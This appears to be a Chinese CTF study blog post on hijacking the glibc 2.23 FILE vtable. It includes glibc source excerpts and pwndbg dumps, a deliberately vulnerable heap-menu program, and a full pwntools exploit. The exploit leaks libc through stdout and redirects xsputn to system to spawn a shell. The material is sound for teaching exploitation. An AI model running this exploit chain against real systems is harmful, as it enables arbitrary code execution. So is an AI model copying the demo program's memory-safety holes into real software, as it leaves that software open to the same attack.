当前位置: 首页 > article >正文

【我的 PWN 学习手札】IO_FILE 之 劫持vtable

vtable帮助C实现了类似于多态的效果,然而其中的大量函数指针,一旦被劫持修改,就会产生巨大的危害。


前言

【我的 PWN 学习手札】IO_FILE相关几个基本函数的调用链源码-CSDN博客 

【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写-CSDN博客

【我的 PWN 学习手札】IO_FILE 之 stdout任意地址读-CSDN博客 

经过上述对IO_FILE结构体的初步探究,相信读者也关注到了结构体中的vtable成员,指向了一个函数表,完成对结构体数据的具体操作。


一、回顾IO_FILE结构体

这里以_IO_2_1_stdout_结构体为例。

下面是某程序运行时,_IO_2_1_stdout_结构体的值(glibc-2.23)


pwndbg> p _IO_2_1_stdout_ 
$1 = {
  file = {
    _flags = -72537977,                 (0xfbad2887)
    _IO_read_ptr = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_read_end = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_read_base = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_write_base = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_write_ptr = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_write_end = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_buf_base = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_buf_end = 0x7ffff7b9c6a4 <_IO_2_1_stdout_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7b9b8e0 <_IO_2_1_stdin_>,
    _fileno = 1,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "\n",
    _lock = 0x7ffff7b9d780 <_IO_stdfile_1_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7b9b7a0 <_IO_wide_data_1>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7b9a6e0 <__GI__IO_file_jumps>
}

可以看到_IO_2_1_stdout_.vtable指向了__GI_IO_file_jumps 

让我们结合glibc源码来进行分析:

//libioP.h
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

// libio.h
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
#ifndef _LIBC
#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))
#else
extern _IO_FILE *_IO_stdin attribute_hidden;
extern _IO_FILE *_IO_stdout attribute_hidden;
extern _IO_FILE *_IO_stderr attribute_hidden;
#endif

作为stdfile,stderr、stdin、stdout是经过初始化的全局变量:

#ifdef _IO_MTSAFE_IO
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
#  define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
  static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \
  static struct _IO_wide_data _IO_wide_data_##FD \
    = { ._wide_vtable = &_IO_wfile_jumps }; \
  struct _IO_FILE_plus NAME \
    = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \
       &_IO_file_jumps};
# else
#  define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
  static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \
  struct _IO_FILE_plus NAME \
    = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \
       &_IO_file_jumps};
# endif
#else
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
#  define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
  static struct _IO_wide_data _IO_wide_data_##FD \
    = { ._wide_vtable = &_IO_wfile_jumps }; \
  struct _IO_FILE_plus NAME \
    = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \
       &_IO_file_jumps};
# else
#  define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
  struct _IO_FILE_plus NAME \
    = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \
       &_IO_file_jumps};
# endif
#endif

DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);

可以看到,vtable指向了_IO_file_jumps 

// fileops.c
const struct _IO_jump_t _IO_file_jumps =
    {
        JUMP_INIT_DUMMY,
        JUMP_INIT(finish, _IO_file_finish),
        JUMP_INIT(overflow, _IO_file_overflow),
        JUMP_INIT(underflow, _IO_file_underflow),
        JUMP_INIT(uflow, _IO_default_uflow),
        JUMP_INIT(pbackfail, _IO_default_pbackfail),
        JUMP_INIT(xsputn, _IO_file_xsputn),
        JUMP_INIT(xsgetn, _IO_file_xsgetn),
        JUMP_INIT(seekoff, _IO_new_file_seekoff),
        JUMP_INIT(seekpos, _IO_default_seekpos),
        JUMP_INIT(setbuf, _IO_new_file_setbuf),
        JUMP_INIT(sync, _IO_new_file_sync),
        JUMP_INIT(doallocate, _IO_file_doallocate),
        JUMP_INIT(read, _IO_file_read),
        JUMP_INIT(write, _IO_new_file_write),
        JUMP_INIT(seek, _IO_file_seek),
        JUMP_INIT(close, _IO_file_close),
        JUMP_INIT(stat, _IO_file_stat),
        JUMP_INIT(showmanyc, _IO_default_showmanyc),
        JUMP_INIT(imbue, _IO_default_imbue)};
libc_hidden_data_def(_IO_file_jumps)

有许多函数指针 

以puts为例,最终将调用_IO_file_xsputn,且调用该函数时的第一个参数为_IO_2_1_stdout_

二、利用演示

这里我们承接【我的 PWN 学习手札】IO_FILE 之 stdout任意地址读-CSDN博客的演示例程,继续利用。

前情提要:已经通过House of Roman将堆块申请到_IO_2_1_stdout_结构体上,并通过修改结构体指针leak出libc 

接下来我们将vtable指向可控区域,并作如下设置:

payload=p64(libc.sym['system'])*6
payload+=b'\x00'*3 #*0x33)
payload+=p32(0xfbad1880)+b';sh;'
payload+=p64(0)*16
payload+=p64(libc.address+0x39d780)
payload+=b'\x00'*0x48
payload+=p64(libc.address+0x39c5dd)
edit(10,payload)

其效果是:

pwndbg> p/x _IO_2_1_stdout_ 
$4 = {
  file = {
    _flags = 0xfbad1880,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0x0,
    _flags2 = 0x0,
    _old_offset = 0x0,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = {0x0},
    _lock = 0x7ffff7b9d780,
    _offset = 0x0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0x0,
    _unused2 = {0x0 <repeats 20 times>}
  },
  vtable = 0x7ffff7b9c5dd
}
pwndbg> p/x &_IO_2_1_stdout_ 
$5 = 0x7ffff7b9c620
pwndbg> x/10gx 0x7ffff7b9c620-0x20
0x7ffff7b9c600 <_IO_2_1_stderr_+192>:	0x83f56000007ffff7	0x83f56000007ffff7
0x7ffff7b9c610 <_IO_2_1_stderr_+208>:	0x83f56000007ffff7	0x00000000007ffff7
0x7ffff7b9c620 <_IO_2_1_stdout_>:	0x3b68733bfbad1880	0x0000000000000000
0x7ffff7b9c630 <_IO_2_1_stdout_+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7b9c640 <_IO_2_1_stdout_+32>:	0x0000000000000000	0x0000000000000000

 其中vtable:

pwndbg> tele 0x7ffff7b9c5dd
00:0000│     0x7ffff7b9c5dd (_IO_2_1_stderr_+157) ◂— 0xfff7b9b660000000
01:0008│     0x7ffff7b9c5e5 (_IO_2_1_stderr_+165) ◂— 0x7f
02:0010│ rsi 0x7ffff7b9c5ed (_IO_2_1_stderr_+173) —▸ 0x7ffff783f560 (system) ◂— test rdi, rdi
... ↓        5 skipped
pwndbg> 
08:0040│  0x7ffff7b9c61d (_IO_2_1_stderr_+221) ◂— 0x3bfbad1880000000
09:0048│  0x7ffff7b9c625 (_IO_2_1_stdout_+5) ◂— 0x3b6873 /* 'sh;' */
0a:0050│  0x7ffff7b9c62d (_IO_2_1_stdout_+13) ◂— 0
... ↓     5 skipped

简单来说,我们将vtable指向可控内存addr,虚函数表偏移0x38对应_IO_file_xsputn函数指针。我们将addr+0x38设置为system函数的地址。可以预料,当进行puts通过vtable索引、调用_IO_file_xsputn函数时,实际上调用了system函数,参数为&_IO_2_1_stdout_。

由于_IO_2_1_stdout_开头是4字节的魔术数据,因此我们在其后布置";sh;"。

因此构成了:system("□□□□;sh;")

(一)pwn.c

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

(二)exp.py 

# 用了house of roman,但是懒得写循环了
# 先关闭aslr,再用下述代码打通

from pwn import *
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context(arch=elf.arch,log_level='debug')
def add(index, size):
    io.sendafter(b"choice:", b"1")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"size:", str(size).encode())

def delete(index):
    io.sendafter(b"choice:", b"2")
    io.sendafter(b"index:", str(index).encode())

def edit(index, content):
    io.sendafter(b"choice:", b"3")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"length:", str(len(content)).encode())
    io.sendafter(b"content:", content)

def show(index):
    io.sendafter(b"choice:", b"4")
    io.sendafter(b"index:", str(index).encode())

io=process("./pwn")
add(0,0x68)
add(1,0x98)
add(2,0x68)
delete(1)
add(3,0x28)
add(1,0x68)
edit(1,p16(0xc5dd))

delete(0)
delete(2)
edit(2,b'\xa0')
add(10,0x68)
add(10,0x68)
add(10,0x68)

# gdb.attach(io,'b read\nc')
payload=b'\x00'*0x33
payload+=p64(0xfbad1800)
payload+=p64(0)*3
payload+=b'\x00'
edit(10,payload)

io.recvn(0x41)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39c600
success(hex(libc.address))

payload=p64(libc.sym['system'])*6
payload+=b'\x00'*3 #*0x33)
payload+=p32(0xfbad1880)+b';sh;'
payload+=p64(0)*16
payload+=p64(libc.address+0x39d780)
payload+=b'\x00'*0x48
# payload+=p64(0xdeadbeef)
payload+=p64(libc.address+0x39c5dd)
edit(10,payload)
io.interactive()

http://www.kler.cn/a/461723.html

相关文章:

  • Chapter4.2:Normalizing activations with layer normalization
  • 探索Docker Compose:轻松管理多容器应用
  • 被催更了,2025元旦源码继续免费送
  • RS485方向自动控制电路分享
  • 【C语言程序设计——循环程序设计】枚举法换硬币(头歌实践教学平台习题)【合集】
  • linux 软链接 快捷方式 详解
  • 24.01.01 MyBatis
  • 1.梳理一下neo4j的安装的过程以及错误
  • 9.若依-自定义表单构建
  • MarkDown怎么转pdf;Mark Text怎么使用;
  • sublime text for mac 如何在一行末尾添加内容或符号
  • 用uniapp写一个播放视频首页页面代码
  • FFmpeg(音视频处理的瑞士军刀)开发实战指南
  • 论文笔记:DepthLab: From Partial to Complete
  • [excel] VLOOKUP
  • RapidSSL 证书
  • 【有例子代码】Spring框架的设计模式应用(上集)
  • (即插即用模块-Attention部分) 三十、(ICCV 2023) EAA 有效附加注意力
  • Redis下载与安装
  • Python-MNE-源空间和正模型04:头模型和前向计算
  • 计算机毕业设计Python动漫推荐系统 漫画推荐系统 动漫视频推荐系统 机器学习 bilibili动漫爬虫 数据可视化 数据分析 大数据毕业设计
  • vue2 如何刷新页面
  • 【每日学点鸿蒙知识】上拉加载下拉刷新、napi调试报错、安装验证包、子线程播放音视频文件、OCR等
  • 【Vim Masterclass 笔记04】S03L12:Vim 文本删除同步练习课 + S03L13:练习课点评
  • redis是如何保证数据安全的?
  • LoRA微调系列笔记